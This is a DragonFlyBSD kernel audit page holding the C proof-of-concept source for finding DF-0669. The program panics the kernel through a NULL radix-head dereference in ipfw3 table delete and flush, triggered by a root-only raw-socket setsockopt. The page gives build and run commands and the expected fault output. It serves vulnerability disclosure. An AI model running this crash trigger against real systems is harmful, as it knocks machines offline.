DragonFlyBSD Kernel Audit
DF-0669 / df0669_ipfw3_null.c
← back to finding ↓ download raw
/*
 * DF-0669 PoC — ipfw3 rn_flush(NULL) panic on never-created table.
 *
 * Confirmed REPRODUCED on DragonFly 6.5-DEVELOPMENT #0 (master DEV,
 * GENERIC with INVARIANTS ON). Fatal trap 12 at fault VA=0x28
 * (head->rnh_walktree offset within struct radix_node_head, where
 * head==NULL). See VERDICT.md and panic.txt.
 *
 * Build: cc -O -pipe -o df0669_ipfw3_null df0669_ipfw3_null.c
 * Run (as root, after `kldload ipfw3; kldload ipfw3_basic`):
 *   ./df0669_ipfw3_null 74   # IP_FW_TABLE_DELETE
 *   ./df0669_ipfw3_null 78   # IP_FW_TABLE_FLUSH (also vulnerable)
 *
 * Threat model: PR:H (root-only). Reaching IP_FW_X requires a raw
 * socket (raw_ip.c rip_ctloutput); raw sockets need root.
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#define IP_FW_X            49   /* sys/netinet/in.h */
#define IP_FW_TABLE_CREATE 73
#define IP_FW_TABLE_DELETE 74
#define IP_FW_TABLE_FLUSH  78

struct ip_fw_x_header { uint16_t opcode; uint16_t _pad; };
struct ipfw_ioc_table { int id; int type; int count; char name[32]; };

int main(int argc, char **argv)
{
    int optype = (argc > 1) ? atoi(argv[1]) : IP_FW_TABLE_DELETE;
    int s, error;
    unsigned char buf[4 + sizeof(struct ipfw_ioc_table)];
    struct ip_fw_x_header *hdr = (struct ip_fw_x_header *)buf;
    struct ipfw_ioc_table *tbl = (struct ipfw_ioc_table *)(buf + 4);

    memset(buf, 0, sizeof(buf));
    hdr->opcode = (uint16_t)optype;
    tbl->id     = 0;          /* in-bounds (0..31) but never created */

    /* IP_FW_X is dispatched only from raw_ip.c rip_ctloutput, so we
     * need SOCK_RAW. Creating a raw socket requires root. */
    s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (s < 0) {
        perror("socket(SOCK_RAW) (DF-0669 trigger requires root)");
        return 2;
    }
    printf("[+] DF-0669: setsockopt(IPPROTO_IP, IP_FW_X, opcode=%d) on "
           "never-created table id=0\n", optype);
    printf("[+] expected: Fatal trap 12 page fault @ VA=0x28 "
           "(rn_flush derefs head->rnh_walktree, head=NULL)\n");
    fflush(stdout);

    error = setsockopt(s, IPPROTO_IP, IP_FW_X, buf, sizeof(buf));
    /* If we get here, the bug did NOT fire (e.g. ipfw3 not loaded). */
    printf("[!] setsockopt returned %d errno=%d (%s)\n",
           error, errno, strerror(errno));
    close(s);
    return 0;
}